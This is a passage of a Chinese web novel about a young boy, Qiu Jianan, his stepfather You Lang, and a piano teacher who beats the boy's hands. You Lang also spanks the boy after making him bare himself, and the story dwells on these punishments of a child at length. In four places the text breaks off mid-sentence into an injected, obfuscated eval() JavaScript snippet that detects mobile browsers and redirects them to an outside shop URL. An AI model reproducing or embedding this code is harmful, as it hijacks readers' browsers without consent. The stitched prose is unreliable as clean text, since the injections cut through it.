颜丹琳见了，问他怎么了。 邱嘉楠说：“爸爸不许我和狗狗睡。”他和颜丹琳说过尤朗，两人说话的时候会称呼尤朗爸爸。 小女生有点怕狗，不能理解他对狗狗的迷恋和依赖。但是说到狗，邱嘉楠总是格外兴奋一点，两手比划着：“你想看我的狗吗？这——么大，以后可以长到那——么大。” 颜丹琳脸色“唰”一下白了，猛的摇摇头，一溜烟跑走了。 邱嘉楠想，她一定是没见过可爱的狗狗，要是能带狗狗来学校就好了。 10. 第 10 章 邱嘉楠想出了新的入睡办法，看书，躺床上看书，看着看着就困了，再坚持一会，就能直接睡过去。连续几个晚上他都这样睡，屡试不爽，唯独有一点不好，没人给他关灯，房间的灯一亮就是一个晚上。 邱嘉楠有些忧愁，后来一想，反正不是他交电费，管它呢！便还是继续如此了。 尤朗有次应酬结束之后回家，已经半夜了，又喝了酒，晕乎乎的，回房的路上经过小孩房间，发现门缝还透出亮光，有些疑惑，以为小孩还在和狗玩，也没想着敲门，而是直接推开了。可是小孩就安安静静地躺在床上，眼睛闭着，旁边落着一本书，像是睡着了。 睡觉怎么不关灯？尤朗皱眉，走进去两步，发现小孩真的没反应，确实睡着了。 尤朗正要出去，却瞥见书桌上立着本琴谱，桌面上像是放了个钢琴键盘，走近一看，发现是张纸。嗯？这小孩画的？还挺像。 尤朗拿起来一看，发现底下还有一张，比手上这张旧一点。不会还有很多吧？尤朗伸手扒拉了下，果然，底下还压着厚厚一沓纸，估计都是纸键盘。 画这个干嘛用？尤朗摇摇头，想不清这小孩脑子里装了些什么，关了灯出去了。 第二天邱嘉楠一醒，总感觉有什么不一样，想了好久才恍然大悟，是灯关了，可是他明明没有关灯啊，谁给他关了灯？尤朗吗？ 邱嘉楠下了床，走出房间，往尤朗的卧室走去，想看看尤朗在不在，可是又不敢，光着脚在门口徘徊一阵，还是回去洗漱准备上学了。 尤朗醒来都快十点了，幸亏今天公司没什么事，晚点去也不要紧。昨晚喝了酒，醒来头有点痛，而且不知是不是睡前在小孩房间看了那纸键盘的关系，他一直梦到钢琴，一会是小孩在弹钢琴，一会是他站在琴行里，周围全是钢琴。 尤朗晃晃脑袋，起床。 到公司已经中午了，员工们边吃午饭边聊天。尤朗走进办公室，章信立刻跟了进来：“尤董。” 没什么事布置的，尤朗坐下来，挥挥手：“出去吧，有事我叫你。” “好的。” 头还是有点痛，尤朗看章信一转身，又立刻叫住了人：“章信。” “尤董，有什么吩咐？” “你懂不懂乐器？” 章信不知道尤董为什么突然问这个，而且乐器这么多，也不说是哪一个，怎么回答好？“尤董，我自己没学过音乐，不过家里有亲戚是N大艺术学院的，我可以问问。” 尤朗点点头：“你去，买一架钢琴，放家里，然后给他请一个钢琴老师。” 章信恍然大悟，原来为了家里那个小孩，看来尤董越来越把人放在心上了。“好的，尤董，我明白。” 现下五月底了，章信办事可靠，不仅挑好了钢琴，还踩着“六一”的点把琴送到了家里。当邱嘉楠在学校过了“六一”回来，便看见大大一架三角钢琴立在客厅后那块空地上。 章信笑着招手：“楠楠，快过来！” 邱嘉楠不可置信，又掩饰不住内心的激动，直觉告诉他，这架钢琴是他的！ 章信把小孩抱起来：“六一快乐！看看你的儿童节礼物！尤董买的哦！” 是儿童节礼物？他有礼物了？邱嘉楠抱着章信：“为什么？为什么，送钢琴？” 章信也不知道，只摇头：“我也不明白，尤董突然把我叫去，说给你买钢琴，还要给你请一个钢琴老师。琴你先练着，钢琴老师等我再看看，给楠楠请一个好的，好不好？” 邱嘉楠眼眶一下就红了，带着哭腔问：“是真的吗？你没有骗我吗？” “当然是真的啊！”章信笑了，“我骗你干什么？这钢琴多贵啊，我哪里买得起？再说了，不是尤董说的，我敢把这么大个东西往这里放吗？” 是真的，他有一架钢琴了！章信用指腹抹了小孩眼角的泪花，把他放下来：“来，试一试好不好？” 邱嘉楠太激动了，一时不知道该把手往哪里放，一通乱按，声音乱七八糟，唯一能听出来的是，音质不错。 狗狗摇着尾巴下了楼，三两下爬到钢琴上，邱嘉楠吓了一跳，忙叫：“崽！快下来！” 狗狗抖了一下，跳到小孩怀里，不肯下来。 邱嘉楠把狗放在自己腿上，正色道：“不要动，弹琴，动了就打你。” 章信看着他一副小大人的模样，笑出了声。 等章信一走，邱嘉楠立刻跑去给颜丹琳打电话，嘟了两声以后，电话接通。 “阿姨好，我是邱嘉楠，我找颜丹琳。” 邱嘉楠听到那头有人喊“琳琳”，片刻的功夫颜丹琳就来了：“干嘛？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581250|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “颜丹琳，我有钢琴了！” “是你爸爸买的吗？” “嗯。”邱嘉楠不敢在家里说“爸爸”两个字，便只“嗯”了一声。 “太好了，这样你就可以在家里练琴了。” “还会给我请钢琴老师。” “好哎，但是我不会让你超过我的，我妈妈才是最厉害的。” “我去练琴了。” 邱嘉楠挂了电话，马上跑到房间里把琴谱拿下来，有模有样地架着琴谱，开始练琴。狗狗一直围着钢琴转悠吸引小孩的注意力，可是小孩都不理他，深感这个大块头抢走了自己的宠爱，最后只得无奈地趴在邱嘉楠脚边两眼哀怨。 琴送到了家里，尤董应该看到了，但章信还是要去说一声：“尤董，钢琴已经买了，钢琴老师我再咨询一下，楠楠很高兴。” 尤朗听他例行公事地报告，本来没放在心上的，可是某个关键词突然地挑动了他的神经：“你说什么？” 章信立刻察觉了自己的失言：“抱歉，尤董，我是说，邱少爷。” 楠楠。“你这么叫他，他会应你？” “是，他不喜欢被称呼邱少爷。” 还挺挑。“男孩子不应该叫仔仔吗？叫什么囡囡？”尤朗也不知哪里不舒服，非得鸡蛋里挑骨头，找不痛快。 章信只好如实回答：“尤董，崽，是，是您送的阿拉斯加的名字。” 尤朗突然更火大了，钱是他出的，狗和钢琴是他送的，结果那小孩一声谢也没有，一见面就是一张死人脸，倒是和章信亲密得很，崽崽楠楠的。 尤朗把手中的文件往桌上一拍，没好气道：“行了，出去吧！” 章信大胆推测，尤董可能是吃醋了，不过这种事心里有数就行，可别往枪口上撞。钢琴老师的事，他挑了市场上几家名气比较大的中介机构咨询，中介介绍了几个老师，要证有证，要经验有经验。章信分别和那几个老师聊过，甚至约了时间去听人家弹了几首曲子，最后定了一位微胖的女老师。因为临近期末，章信和老师约了暑假才开始上课，一周两次。 章信挑她，也是因为这位女老师有比较多在富人家庭教钢琴的经历，觉得她面对楠楠的时候会更有分寸，却没想到，后来会出那么多事。 不过这都是后话了。 11. 第 11 章 父亲节那一周周五，音乐课照旧练钢琴，小朋友们吵吵闹闹，老师喊了好久才让他们静下来：“小朋友们，这首曲子要好好练，周日是父亲节，我们可以弹给爸爸听哦。” 小朋友们又唧唧哇哇地喊起来，这个学校不像公立小学，上课总是很吵，老师们也不会很凶地骂小朋友。 颜丹琳歪过头：“快点，看谁学得快！” 邱嘉楠眼睛都不转，边弹边说：“我已经会了。”?“不可能，老师才教一次，你弹给我听听。” “不给，你不是我爸爸。” “那你就是骗人的！你才不可能学会这么快！” 骗人不骗人不重要，重要的是邱嘉楠真的学会了。周日那天，邱嘉楠一大清早的就开始弹那个曲子，满怀着期待的心情，如果尤朗等会问他在弹什么，他就说是老师教的曲子，父亲节要弹的。 他还不敢叫尤朗爸爸，但是这样说，尤朗肯定明白了。 只可惜尤朗并没有欣赏音乐的细胞，那会又刚起，脑子还不清醒，一听这声，眉头一皱，斥道：“吵死了！” “汪汪！”狗狗立刻吠了他两声，像是控诉这个坏人。 邱嘉楠看着尤朗不悦的神情，所有的小心思都消失一空，怯怯地收回手，不弹了。 尤朗这天还要出去谈合作，没空理会他，吃了早饭就离开了。邱嘉楠看着尤朗离开，过了好一会儿，才重新坐回琴凳上，开始弹琴。 弹给爸爸听的曲子，爸爸在的时候说不许弹，弹的时候爸爸不在。 邱嘉楠弹了一遍又一遍，弹得手指酸软，琴声回荡在大房子里，久久不散。但是那一天，尤朗始终没有回来。 暑假来临的时候，邱嘉楠见到了他的钢琴老师，老师姓蓝，一见面就笑着和他打招呼；“邱嘉楠同学，你好啊！” 邱嘉楠脸上没有太多表情，淡淡道：“老师好。” 这位蓝老师经常进出富人家，看到这小别墅也不惊讶，没有到处张望，只是得体地走到钢琴边：“那我们开始上课咯，嘉楠同学，你可以先弹一段给老师听听吗？老师看看你的情况。” 邱嘉楠点点头，随便弹了一段，非常流利，水平远超同龄人。 蓝老师还挺喜欢给这小孩上课，上课环境好，课酬高，学生聪明又听话，再没有比这个更好的了。不过常进出富人家，也让蓝老师早早学会了察言观色，看菜下碟。 大概是蓝老师第三次来上课的时候，邱嘉楠午觉没睡醒，也没人喊他。蓝老师只好先坐在沙发上等，当时一个阿姨正打扫卫生，便和她聊天，说起邱嘉楠：“这个邱少爷也是命苦，妈跑了，跟尤董又没有血缘关系，不知道以后去哪里呢！” 蓝老师有些意外：“没有血缘关系？” “可不呢，谁知道亲爹是谁，尤董是后爸，但是亲妈都跑了，后爸还能是爸么？尤董也不把这小孩放心上，由着他自生自灭的，做饭阿姨说了，几个月都没见俩人一张桌子吃饭。” “这么夸张啊？那他妈妈怎么不带他走呢？” 阿姨一边吸尘一边念叨：“他那妈，我看着就不像好女人，在这里的时候，什么活都不干，连送小孩上学都是司机去，跟这儿子不是她的一样，不过人是真漂亮，要不然尤董能看上她？我看，估计是找到比尤董还厉害的了！” 蓝老师没少听说这种事，她以前教过一个学生，是妈妈给人家当二奶生的，从小见爸爸一回跟做贼似的。她就看不上这种人，仗着漂亮掏男人的钱，实际一点本事都没有。看来这个邱嘉楠的妈妈也是呢。 阿姨还要说，结果一抬头看见那小孩就站在二楼走廊，立刻闭了嘴。 蓝老师大概是受了点影响，心情不太好，说话很冲：“邱嘉楠同学，以后不可以迟到，老师这么远过来给你上课都能准时，你睡午觉也要调闹钟才行。” 邱嘉楠知道自己睡过头不对，只好道歉；“对不起，老师，下次不会了。” “你自己多睡了半个小时，我们就上到五点，不能给你拖堂。”他们一节课是两个小时，下午三点到五点，现在三点半了，也就是说，只给他上一个半小时。 邱嘉楠听章信说过，他的钢琴课很贵，给老师的课酬大概是市面上培训学校的两倍，为了保证效果，章信要求老师整个下午都留给邱嘉楠，不要出现为了赶去别的地方上课而敷衍的情况，可是，老师居然说不能给他拖堂。 算了，下次注意点时间好了。 上课过程也不太顺利，平时他不小心弹错一两个音，老师会耐心地指出问题，然后让他再弹一遍，可是今天老师格外暴躁，上来就是：“错了错了！怎么弹的啊？” “你会不会弹啊？笨死了！” “长没长眼睛啊？琴谱不会看是不是？” 邱嘉楠有好几次都难受得不想弹了，可又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581251|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得是自己起晚了，惹了老师生气，最后也只好忍耐下来了。 只是邱嘉楠没想到蓝老师会变本加厉，之后上课不仅严厉非常，还给他布置很多的作业。有回要求他把一个很长的曲子每天弹二十遍，说她一下就能听出来有没有弹够这么多遍，如果偷懒的话，就要告诉家长。 邱嘉楠当然不愿意让老师向章信和尤朗告状，老师一走就立刻马不停蹄地弹起来，这个曲子，就算一刻不停，二十遍也得两个多小时，得赶紧弹。 那一天尤朗恰好回家早，一进家门便听见钢琴声，可马上就停了。尤朗望过去，只见那个小孩坐在琴凳上，定定地看着他。狗狗乖乖地坐在琴凳旁，没有叫。 邱嘉楠记得，那天早上他弹琴，尤朗很不高兴。好不容易见到尤朗，他不想让尤朗生气。 尤朗似乎也想起了那个早上的事，摆摆手道：“弹你的。” 邱嘉楠再次动起手来，其实上了两个小时课，下课之后又弹了几遍，手指已经酸软得不像话，连节奏都慢了下来，可他不敢停，仍旧一遍一遍重复。 半个小时过去，尤朗也听出了些端倪，问：“怎么老弹这个？” 邱嘉楠停了手，诚实回答：“老师说，每天二十遍。” 什么老师？每天二十遍，都不用干别的事情，光弹琴了是吧？尤朗心里吐槽两句，可他到底没学过音乐，只好认为自己是外行人，不懂内行的规矩了。 晚上吃饭，邱嘉楠手抖得连筷子都拿不住，掉了两次，尤朗非常不悦，但又知道小孩弹琴弹了好几个小时，没说他什么，扭头道：“阿姨，给他拿个勺子。” “哎，就来。”阿姨从厨房拿了个勺子，双手递给邱嘉楠，“邱少爷。” 邱嘉楠接过勺子，道声谢谢，心里有点高兴，他想，尤朗这样，也算是关心他了。但是他不敢表现得太得寸进尺，只是默默压着嘴角的笑意，继续吃饭。 狗狗在一旁吃了东西，舔了两下碗，晃晃悠悠到邱嘉楠身边，“蹭”一下跳到旁边的空椅子上，看邱嘉楠吃饭。 尤朗想起章信说的，这狗叫崽。 “狗叫什么？” 邱嘉楠一怔，今天尤朗怎么一直在跟他找话说？不过他是很高兴的，回答道：“叫崽。” “崽什么崽？”尤朗斥道，“起个正经名字！” “哦，知道了。”被训了，邱嘉楠的笑意顿时没了。 12. 第 12 章 蓝老师那个作业布置得不合理，实际也是存了点试探的心，要是这几天家长反馈说作业太多了，希望老师合理安排，那就说明这个小孩会告状，而且家长把他放在心上，她随便说两句孩子不熟练就可以搪塞过去。但如果这个小孩真的练了，也没有家长反映，那就只能说明，这个小孩在家里确实没地位。 下一次上课，蓝老师继续试探，听小孩弹了一遍，立刻骂道：“弹的什么？！你会不会？让你每天练二十遍你听了吗？” 邱嘉楠有点委屈，但也觉得莫名其妙，他根本没弹错，老师非得说他错了，他越来越怀疑这老师到底会不会，要不是颜丹琳去旅游了，他一定要让颜丹琳帮自己将这老师一军。 “看我干嘛？弹啊！接着弹！弹不会别休息了！” 邱嘉楠不说话，双手再次放到键盘上，弹起这首烂熟的曲子。 “啪”一声，邱嘉楠猛地抽回了自己的手，刚才弹得好好的，老师突然就打了他一下，简直莫名其妙。 可蓝老师理直气壮：“弹错了！” 邱嘉楠捂着自己被打的手背，有点辣辣的，轻声道：“我没有弹错。” “顶嘴是不是？会不会尊重老师？” 邱嘉楠还是坚持：“我真的没有弹错。” “你这样子我没法给你上课，叫你家长来！” 家长这两个字是邱嘉楠的死穴，就算他没错，可老师这样告到尤朗那里去，肯定也变成他的错，最后挨打还不算什么，最重要的是尤朗好不容易对他态度好了点，要是又因为这个讨厌他，岂不是得不偿失？ 邱嘉楠吞了这一口恶气，继续弹琴。 蓝老师冷笑一声，不过是个没人要的野孩子，得意什么？ 此后，蓝老师便是这样，动不动就要打他几下，一开始都是用手，有一回，蓝老师非常暴躁地拿了鸡毛掸子过来：“伸手出来！” 邱嘉楠看着鸡毛掸子，瞳孔一缩，脑子里瞬间翻出千百个法子，可是没一个是有用的，最后只得慢腾腾地伸出左手去，鸡毛掸子立刻“啪”一声落在皮薄的手心上，邱嘉楠“啊”了一声，把手缩了回来。 “伸出来！”蓝老师用鸡毛掸子戳着小孩的手，邱嘉楠眼底疼出了一层薄薄的泪花，过了好一会儿才把手伸出去，这时候手心已经有了一道紫红色的伤痕。 蓝老师眸中没有丝毫不忍，鸡毛掸子照旧“啪”一下甩上小孩手心，给那块本就不大的地方添了一道红痕。 眼泪流了下来，邱嘉楠没有出声，只是默默流泪，好在蓝老师没有太过分，打了三下就放过了他，又接着让他练琴。 邱嘉楠想，一定要想办法换掉这个老师，一定要想办法。 那天晚上也巧，尤朗是回家吃的饭，邱嘉楠本想装作不经意地把手上的伤露给尤朗看，想试探一下尤朗会不会心疼自己，可想想还是算了。 一来，他不能保证尤朗肯定能看到这点伤，如果动来动去反而让尤朗觉得他烦，有点得不偿失；二来，这伤不重，尤朗看见了也未必在意，要是自己太张扬了，反倒显得矫情。邱嘉楠想着，默默把左手收了起来，继续镇定地吃饭。 晚上，尤朗在二楼书房工作，突然接到章信的来电：“有什么事？” “尤董，抱歉这么晚打扰您，是钢琴老师说今天邱少爷上课不专心，对老师也不是很尊重，老师想让家长配合教育一下孩子。我这几天都没空去见邱少爷，正好记得您今晚回了家，所以······” 尤朗看着桌面上的文件，心烦意乱：“知道了。” 又是这个小孩！钢琴也买了，老师也请了，还要怎么样？尤朗环视书房一圈，发现都没什么能打人的东西，上回还能用文件夹的拉杆，这回连拉杆都找不到一根。尤朗看了一会，从文件盒里取出一份废弃的文件，卷成一个实心圆筒。 “邱嘉楠，上来！”尤朗站在楼梯口喊了一声。 邱嘉楠正在客厅跟狗玩，听到这话很是奇怪，平日里尤朗从不这样的，而且语气也不太好。可是，他没做什么让人生气的事吧？ “崽，自己玩。”邱嘉楠放下狗，上楼去了。 书房的门开着，应该是给他留的。邱嘉楠大胆地走过去，站在门口敲敲门。尤朗轻轻一瞥，冷声道：“进来。” 邱嘉楠走进来，站在尤朗身前，静静地看着他。 “你今天钢琴课做了什么？” 嗯？邱嘉楠很疑惑，他没干什么啊，钢琴课不就弹钢琴吗？还是说尤朗知道老师打他的事了？但是他不能确定，便只是摇摇头。 “不说实话是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581252|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是？自己好好想，钢琴课都干什么了？！” 邱嘉楠吓得抖了抖，无辜道：“没，没有啊。” 尤朗本就不是有耐心的人，尤其他原本还有工作，现在竟然要花时间来教训一个跟他没有血缘关系的小孩，更加心浮气躁，看这孩子拒不承认，也不跟他磨了，点着桌面道：“裤子脱了，趴这里。” 邱嘉楠有一瞬间的错愕，怎么会要打他？该不会是钢琴老师恶人先告状说他的坏话了吧？尤朗信了那个老师的话？ “快点！” 邱嘉楠哆嗦一下，知道今晚是铁定要挨打了，还是不要火上浇油的好，于是沉默着脱了裤子，艰难地趴伏在桌子上。 桌面对邱嘉楠来说有点高，他只能像伏台休息那样趴着，屁股撅不起来。尤朗看了一眼这别扭的姿势，实在受不了，起身将小孩按到了椅子上。 这个高度合适了，加上被尤朗按着腰，小屁股高高地撅起。 “就这么撅着，不许动。”尤朗腾出手来卷纸筒。 邱嘉楠面对着深棕色的皮质椅背，脸红得能滴出血，却还是丝毫不敢动弹，生怕惹了尤朗不高兴自己又要多受罪。 尤朗上回拿文件夹拉杆打他，那滋味他还记忆犹新，也不知这回是用什么。 “嘭”，闷闷的一声响起，邱嘉楠感到身后一阵硬生生的疼，那疼不像是文件夹拉杆或者鸡毛掸子那样尖利，也不像厚实的巴掌那样霸道，有种笨拙的感觉，并不非常厉害，不至于让人忍不住。 尤朗自觉用纸筒不太趁手，但没东西了，只能将就着。一下接一下的责打伴随着沉闷的声响，打了十几下臀上才显出一点粉红来。 啧，光费劲了！ 其实不是全然不疼，邱嘉楠挨了十几下，眼底已有了一层薄薄的泪，只是不敢在这里哭，生怕眼泪弄脏了尤朗的椅子。要是尤朗因为这个又生气，肯定会更加讨厌他。反正也没有多疼，再忍一忍好了。 邱嘉楠这么想着，身后却忽然“啪”一声炸开一片火辣的疼痛，跟油泼似的，眼底的眼泪一下砸落，哭声也忍不住了：“呜呜呜······” 原来是尤朗嫌纸筒费力，干脆上手了，大掌“啪啪啪”地盖在孩子已有些泛红的屁股上，打得孩子哭叫不停，这才觉得舒了口气，顺畅了。 13. 第 13 章 尤朗一手将小孩提起来：“站好！” 邱嘉楠满脸的泪，不断抽噎着，两手勉勉强强地拉着裤子。 “以后再不好好上钢琴课，再让老师打电话过来，你就小心你的屁股！出去！” 什么？邱嘉楠想不通，明明老师课上已经打了他，为什么还要打电话给尤朗说他不好好上课？可是他不敢问，怕尤朗觉得自己是在狡辩，只是默默地拉起裤子，哭着出去了。 快要开学了，章信这回没有直接带邱嘉楠去注册交学费，而是先问过尤朗，尤朗之前还想着把小孩转到普通学校去的，又不是他自己的孩子，不值得一年花十几万。可是，过了这么些日子，他又不是很想转了。 “带他去交学费吧，还在那里上就好。” 章信心中了然，大概以后也是这样了，便完全放下心，带着邱嘉楠注册交学费去了。 邱嘉楠拉着章信的手，问：“我还要学多久钢琴啊？” 章信有些疑惑，忙问：“楠楠不喜欢钢琴了？”这么大的孩子，三分钟热度是常见的事，厌倦了也不奇怪。 可邱嘉楠最怕的就是章信和尤朗误以为自己讨厌钢琴了，没有耐心，这样，也许以后尤朗就不会再送自己礼物了。 算了，再看吧。 邱嘉楠扯着嘴角笑笑，摇了摇头。 开学后，邱嘉楠的钢琴课调到了周日下午三到五点。一开学，邱嘉楠就忙着和颜丹琳诉苦，可怜巴巴地让颜丹琳帮他。女孩子听得义愤填膺，很快想出一个法子来：“你这周日上钢琴课是吧？她上完课，你就问她下周上什么，要先预习，然后你去我家，让我妈妈教会你。下周上课她要再说你弹错，就让她跟我妈妈对质，我才不信她比我妈妈还厉害！” 颜丹琳的妈妈是N市一个交响乐团的钢琴手，一般需要钢琴演奏的重要活动都会找她，在N市的音乐圈子里是很有名气的人。 邱嘉楠点点头，对这个主意大为赞同。两人便立刻分头行动，邱嘉楠继续上钢琴课，问老师下周的学习内容是什么，颜丹琳则让妈妈下周六教她一个同学练首曲子。 一切都按照颜丹琳说的进行，有条不紊，当邱嘉楠弹完一遍曲子，蓝老师照旧说他错了的时候，他比以往更委屈，忍不住反驳道：“我没弹错！我特地找别的老师学了的！你每次都这样，明明我没错，非说我错了！你真的会弹琴吗？还是来骗钱？我知道，你上我一节课很贵，但是你根本就不值这个钱！” 原本蓝老师就是故意挑刺，扪心自问拿这个课酬确实亏心，可是直接被这个小孩挑破了，面子上更过不去，脸都憋红了：“你还有别的老师啊？那你跟我学什么？你看哪个老师厉害你就跟谁学好了！” “我只是说实话而已，很多次我没有弹错你都说我弹错了。” 蓝老师气急败坏，立刻去拿了鸡毛掸子过来：“把手伸出来！没礼貌！不尊重老师！弹错了还不承认，看我不打你！” 邱嘉楠气恼不已，但是这地方又没人给自己出头，万一晚点蓝老师又像上次一样说他不尊重老师什么的，他肯定还得吃亏。于是，在蓝老师的催促下，不情不愿地伸出了左手。 蓝老师上次就试过了，打他几下，晚上给章信打电话说孩子不好好上课，章信并没有说什么，那只能说明确实没人把这小孩放在心上。 看着小孩的左手，蓝老师不答应了，喝道：“两边手！你都弹错多少了？！” 眼泪“啪嗒”一下掉下来，邱嘉楠委屈极了，右手也伸出去，和左手并在一起。 “咻啪！”鸡毛掸子兜着风抽落，比以往更狠厉些，邱嘉楠“啊”一声叫出来后，立刻把手往回收。蓝老师见他竟然还敢躲，连喊都懒得喊，直接伸手去抓他。邱嘉楠当然不会任由她抓，可毕竟人小又瘦弱，没挣扎两下就被蓝老师死死箍住了两只手，被迫伸在身前。 “啪！”蓝老师一手抓着小孩，一手挥动鸡毛掸子，简直像跟这小孩有仇似的，小孩哭了也当听不见，只一个劲“啪啪啪”地落下鸡毛掸子。 “啊！不要！疼！”邱嘉楠挨了几下，哭得稀里哗啦，实在忍不住，把手蜷成拳。他本以为这样就能缓一会，可没想到，鸡毛掸子竟然直接敲了下来，“啪”一声巨响，落在他的骨节上。 “啊！！！” 邱嘉楠眼前一黑，差点疼晕过去，拼了命地把手往回缩，可是蓝老师掐得一点缝隙都没有，像是要把孩子的手腕扭断。 与此同时，鸡毛掸子还在毫无章法地砸落，手心、手指，甚至是骨节，全都不知道挨了多少下，邱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581253|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉楠哭破了音，在空荡的房子里显得格外骇人。 “呜——汪！”狗狗从楼上“蹭蹭蹭”跑下来，直朝蓝老师身上扑，蓝老师“啊”一声丢了鸡毛掸子，赶紧跑开。狗狗也不追她，就站在邱嘉楠身前，一边吠一边凶狠地瞪着她。 “你！你竟然叫狗咬老师！看我不告诉你家长收拾你！”蓝老师边骂小孩边往后退，看着狗狗又吠了几声，像是要扑上来的样子，赶紧拿了自己的背包，走了。 “汪！汪汪汪！汪汪！”狗狗吠着这个胖女人出了门，才遛回来看邱嘉楠，只见小孩一直坐在琴凳上哭，摊着两只红肿不堪的手，很惨的样子。 “呜呜呜······”狗狗叼着邱嘉楠的裤脚，发出一阵阵的哀哀之音。 不知哭了多久，小孩的哭泣声慢慢小了，变成了接连不断的抽泣。可是声音一小，他就听见外头汽车的鸣笛。他扭头从窗户望出去——糟糕！是尤朗回来了！ 邱嘉楠吓得眼泪都止了，生怕尤朗看到他这双手又要质问他是不是没有好好上课，不行！他不能让尤朗看到！ 趁着尤朗还要停车，邱嘉楠赶紧往楼上跑去，咬牙开了门，随后“砰”一声关上，在昏暗中上了床，盖上被子，一个人偷偷地哭，连声音都压得死死的。 狗狗看着他慌慌张张的，很是不解，想去追他，可是门又关上了，于是它把目光转向了刚进门的尤朗。狗狗“呜呜汪汪”地跑向尤朗，咬着他的裤脚，带他往楼梯走。 “放开！你干什么？！” 狗狗委委屈屈地松开了牙齿，但是非常不甘心，冲着尤朗又盯又吠的，尤朗禁不住皱了眉头，觉得事情不大对劲。 狗狗往前走了一步，又回头吠了一声，是要尤朗跟上来。 尤朗迫不得已跟着狗狗走，狗狗在前面一步一回头地带路，他在后面一步步地跟。 到了邱嘉楠房间门口，尤朗才明白过来，估计是这小孩又怎么了。 “邱嘉楠！开门！” 没有动静，狗狗吠了一声。尤朗敲敲门：“邱嘉楠，你在里面干什么？” 还是没人来开门，尤朗和狗都有点失去耐心，狗狗抬起爪子拍拍门，示意尤朗直接开门进去。 尤朗看了狗狗两眼，旋动门把手，推开了门。 14. 第 14 章 屋里传来细弱的啜泣声，尤朗推开门，借着外头透进来的光亮，看见那个小孩靠着最远的墙角站着，两手背在身后，怯怯地看着他，眼里盛满了沉甸甸的泪水。 尤朗有些疑惑，问：“你躲在里面干什么？” 但邱嘉楠一如既往地不说话，只恐惧地摇摇头。 狗狗绕过床，小跑到孩子身边，“汪”了几声，尤朗会意，走到小孩跟前，却不想小孩更加恐慌了，拼命摇头，一个劲往墙角缩。 可墙角就直挺挺地立在那，哪有地方让他躲？尤朗没了耐心，伸手去拉小孩，小孩尖叫着挣扎起来：“啊！！不要！” “你干什么你？！”尤朗喝了一声，奋力扯着小孩的手臂，想把小孩带出来，却猝不及防看见了那只青紫肿胀还破了好几处皮沾了血迹的手。 尤朗瞳孔皱缩，下意识问：“谁打的你？” 小孩的眼泪“扑簌扑簌”掉，边哭边摇头，不肯说。 尤朗忽然感受失重一般的眩晕，在他的家里，竟然有人把这个小孩打成这样！当他死了吗？！“说话！谁打的你！”说着又去扯小孩另一边手，果然，一模一样的惨状。 邱嘉楠只是哭，哭个不停。 尤朗气得发抖，可没一会儿就想明白了，还能有谁？除了钢琴老师，还能有谁？她怎么敢？！ “痛······”邱嘉楠被尤朗扯得生疼，忍不住哭出了声。 尤朗气得要死，他付高昂的课酬，是让那个老师来他家里打人的吗？这么小的孩子，这么打手，她是不是有病？！如果尤朗现在冷静下来，就会发现自己不仅仅是生气，在那火焰一般喷发的愤怒中，还夹杂着一丝不大明显的心疼。 可是尤朗来不及思考这些，只是拉着小孩下楼，边下楼边给章信打电话，把助理骂了个狗血淋头：“章信！你请的什么狗屁老师！现在，马上投诉她！我要吊销她的执照！我要起诉她！” “你还有脸问我她做了什么？！你这么久不知道她在干什么？她打了楠楠！她打了楠楠！” 小孩疼得脑子不清醒，没注意听尤朗说什么，只感觉到自己被抱了起来，狗狗要跟，被尤朗呵斥了回去：“不许去！” 邱嘉楠被送到了医院，尤朗火急火燎地催促着医生快点给小孩看伤：“医生麻烦快一点！” 护士边准备消毒的药水边劝道：“家长，麻烦你先让一下好吗？问题不大的，不要紧张。” “你让我不紧张，我怎么不紧张？小孩被打成这样谁不紧张啊？！” 大概是尤朗太激动了，竟衬得只剩啜泣声的邱嘉楠更冷静些，护士又道：“小朋友都不哭了，家长你冷静一点啊！” 尤朗一看邱嘉楠，还真是，自己也觉得有点失态，便到外头打电话去了。 